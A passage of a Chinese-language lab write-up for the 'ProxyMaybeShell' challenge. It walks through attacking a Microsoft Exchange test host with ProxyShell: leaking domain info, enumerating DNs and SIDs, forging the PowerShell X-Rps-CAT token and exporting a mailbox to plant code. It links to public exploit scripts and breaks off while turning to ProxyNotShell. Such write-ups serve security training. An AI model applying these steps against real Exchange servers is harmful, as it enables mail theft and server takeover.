<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>记一次曲折的exchange漏洞利用-ProxyMaybeShell</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这两年几乎每隔一段时间exchange都会出现一些高危漏洞，这些漏洞基本分为两类，一类是ssrf导致的安全问题，一类是后台的反序列化漏洞。比较出名的包括CVE-2021-34473(ProxyShell)、CVE-2022-41040(ProxyNotShell)等。本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">目前配套环境已上线xBitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>前置知识</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">Exchange-SSRF导致的问题</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>host可控的SSRF<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2018-8581 </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ssrf导致读取任意用户邮件 </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://evi1cg.me/archives/CVE_2018_8581.html " target="_blank">https://evi1cg.me/archives/CVE_2018_8581.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ssrf结合ntlmralay直接攻击dc </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://evi1cg.me/archives/Exchange_Privilege_Elevation.html" target="_blank">https://evi1cg.me/archives/Exchange_Privilege_Elevation.html</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>host不可控的SSRF<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxylogon:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html " target="_blank">https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxyshell:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html " target="_blank">https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxynotshell:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/" target="_blank">https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/</a></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">exchange反序列化漏洞</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">cve-2020-0688 machinekey反序列化: </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html" target="_blank">https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2021-42321:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499027&amp;idx=1&amp;sn=b40c9d534a6348811eca5058f88e47ba&amp;chksm=c0e89941f79f105751c585422b668d75876da756112ccc4c1c86b775895f80d0605b1b478cf3&amp;scene=21#wechat_redirect" textvalue="DotNet安全-CVE-2021-42321漏洞复现" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">DotNet安全-CVE-2021-42321漏洞复现</a><br/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2022-23277:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499229&amp;idx=1&amp;sn=089ef2477b4d07749cffcad2d6372479&amp;chksm=c0e8998ff79f10991358d7a00ec49b51369fe5fa383a6fe0ef92c32fb78b555594f0773cee9b&amp;scene=21#wechat_redirect" textvalue="DotNet安全-CVE-2022-23277漏洞复现" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">DotNet安全-CVE-2022-23277漏洞复现</a></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>从proxyshell入手</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">访问目标<a href="https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境" target="_blank">https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境</a></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5564598168870803" style="display: block;margin: 0 auto;max-width: 100%;" data-w="983" src="https://wechat2rss.xlab.app/img-proxy/?k=a41e3b24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagf3yPLtVXb4gt4OGLhMp1wgibfS1ib2Hw3Wl9iabZEtpdb1hJ6wEo2zKjw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">经过探测目标仅开放了autodiscover/ews/powershell/mapi等接口，没有owa/ecp等图形界面。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.43369565217391304" style="display: block;margin: 0 auto;max-width: 100%;" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=8dfecdd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagJ8E52n1WLHslIyS7eWU4wPmhx8alRwiaHNH2cYWCtDQFUUpk0VGpxaQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">直接盲打一发proxyshell，成功执行了部分流程。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取内网域名版本号等信息</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过autodiscover接口的ntlm认证信息获取内网域名等信息：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5839822024471635" style="display: block;margin: 0 auto;max-width: 100%;" data-w="899" src="https://wechat2rss.xlab.app/img-proxy/?k=d6308e5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagc2Ier4r9Bux1ZsjGO08ib2KaRLCH0Fd95PC8L8d5s4ghgkDDE3wPaKg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取Administrator用户的DN</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过ssrf调用autodiscover接口，获取administrator用户的dn，发现无法获取：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5422459893048128" style="display: block;margin: 0 auto;max-width: 100%;" data-w="935" src="https://wechat2rss.xlab.app/img-proxy/?k=83d04201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagx1gF2YvpcmcibhE5HL4mMP63WF9t9MJsuAHAdibdgyYSib9VD0ybVQU4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这里获取dn是为了获取邮件管理员的sid，但这个环境并不存在Administrator用户。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取内置用户的dn</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">安装了exchange的域会包含几个内置账户，可以尝试获取他们的dn：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">BUILTIN_EMAILS = [<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;Administrator&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}&#39;</span><br/>    <span style="color: #D69D85;line-height: 26px;">&#39;FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;Migration.8f3e7716-2011-43e4-96b1-aba62d229136&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}&#39;</span><br/>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但在这个环境中，这种方法也不适用：<img class="rich_pages wxw-img" data-ratio="0.7966666666666666" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=130bd611&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagY1fpmHql6ZZN4icflTFInnBrRWHpFsq8DytT4LqQ7JqtVD0vztzPrkg%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py" target="_blank">https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py</a> 提出一种方法，使用ews接口的功能获取到邮箱列表，默认情况下会获得列表：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6126315789473684" style="display: block;margin: 0 auto;max-width: 100%;" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=69015998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibaglr4a3wncnQlCRSIx2cOJuWlhCUbSC9PR74IKUmLTsqHDR11llibib2gg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实战情况也可能遇到无法获取的情况，我们可以通过外网搜集到所有的邮箱进行爆破直至得到dn，但实际环境中，很多邮箱位于Office365服务器上，无法通过autodiscover接口获取dn。通过邮箱获取到dn：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.612603305785124" style="display: block;margin: 0 auto;max-width: 100%;" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=adb88694&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964RAf0NgqMwOicaqwrgS1ZOybicPrnHfk5s7fx1CupIAFfquDUEKyB2YLDqiaibaa1XP6dmBJE9tnYHQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取sid</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这个mapi接口从CVE-2018-8581就已经被利用，当有账户dn的时候可以获取到sid：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6265690376569037" style="display: block;margin: 0 auto;max-width: 100%;" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=86e1dbcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964RAf0NgqMwOicaqwrgS1ZOGMkCicZkjzYYEcOrg4BjlyoJJibr63Cia4GfVEibwxM10zxep1rwdQZTow%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">伪造powershell接口token</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">powershell接口的判断用户身份是依赖于X-Rps-CAT参数，主要通过里面包含的sid判断身份：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.32867883995703545" style="display: block;margin: 0 auto;max-width: 100%;" data-w="931" src="https://wechat2rss.xlab.app/img-proxy/?k=24265e85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagzjRuvLv89dZKhdpDFAssdicsYiakVov7iae6KQZEvmH4m5gkoptozW7oQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以构造这个X-Rps-CAT参数：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.59" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=a683766a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagxwRW3tHYLaddUCNI2cSQzkibZfoBKhPzX5Kru11t2HBFRs2PqXo5iauQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">调用powershell执行</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">主要依赖于pypsrp库调用powershell执行New-MailboxExportRequest命令。该命令将某一邮件导出，这份邮件的附件由我们精心构造，其附件中包含我们的c#代码。构造成功的邮件导出到web目录后不影响正常解析。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">同时我们可以通过ews接口给某个邮箱的草稿箱发包含恶意附件的邮件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6174636174636174" style="display: block;margin: 0 auto;max-width: 100%;" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=8aa8187c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagONYUmgmjLCyLmzdZmHwXvC2EvomyLSToOnDARVXLZRLpDmSHiasRSIA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">导出邮件</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">直接使用exp，会报错，发现无法写入文件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6632860040567952" style="display: block;margin: 0 auto;max-width: 100%;" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=75873d26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag7tvD9iadIKichAKbq9iagh0Y89SKUibocAqGKjrvia5v6Za1THictoV0YBxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">抓包看响应发现没有导出邮件相关的命令，疑似这个账户的权限不够：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3782483156881617" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=85647666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagUSzK6LMOdiaDobfLiaia5wKohiaaozFIFflrCI1TBiajQTia32UicKyvCuzXw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">遍历sid</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">尝试proxyshell-enumerate返回的邮箱，发现都没有成功执行。推测可能是返回的邮箱不全，既然一系列操作都是为了获取一个sid，我们直接对sid进行遍历即可。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们通过前面的操作获取到域sid前缀为：S-1-5-21-3005828558-642831567-1133831210，默认administrator的sid是500，之后新增的用户应该在1000以上，我们可以修改一下exp使其支持根据sid调用powershell：<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxyshellwithsid.py" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxyshellwithsid.py</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">发现Administrator用户的权限确实很低：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5925542916235781" style="display: block;margin: 0 auto;max-width: 100%;" data-w="967" src="https://wechat2rss.xlab.app/img-proxy/?k=bf2b6e2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagaJMSPXDD3DhEC3phAXNHX2CkPiaSAQxXe2SJgpOG03CuNp5d9fghnSA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以遍历sid直至找到支持New-MailboxExportRequest的账户，但在这个环境一系列尝试后无果。使用getmailbox获取到的所有账户也没有高权限的：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.479746835443038" style="display: block;margin: 0 auto;max-width: 100%;" data-w="790" src="https://wechat2rss.xlab.app/img-proxy/?k=bf7eb77b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagFKXzlIIDSrmaLRFp4iaAib5bAdmHO0iav5zNpo3ugQz0ts993xUx7L8gg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实战环境中也可能遇到这样的exchange环境，实际邮箱都在云端office365上，本地并没有被频繁使用。导出邮件需要用户为exchange管理员，在域中为organization managemen组成员，极端的情况下会出现organization management组为空的情况。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>SSRF2RCE</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">针对这种环境，proxyshell是没法利用了。但存在的ssrf还是可以使用的，我们可以通过ssrf调用ews获取用户邮箱的邮件进行进一步的信息搜集，主要参考：<a href="https://evi1cg.me/archives/CVE_2018_8581.html。" target="_blank">https://evi1cg.me/archives/CVE_2018_8581.html。</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">尝试读取后也没有发现值得留意的信息，这时候想到exchange还有很多认证后的反序列化漏洞，我们是否可以借助这个ssrf绕过认证再调用后台的反序列化漏洞呢。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过响应包，我们发现该exchange版本为15.02.0721.002，版本比较老旧，不受CVE-2021–42321,CVE-2022-23277等漏洞影响，相比较之下比较新的漏洞ProxyNotShell影响范围更广一些，poc为<a href="https://github.com/testanull/ProxyNotShell-PoC。" 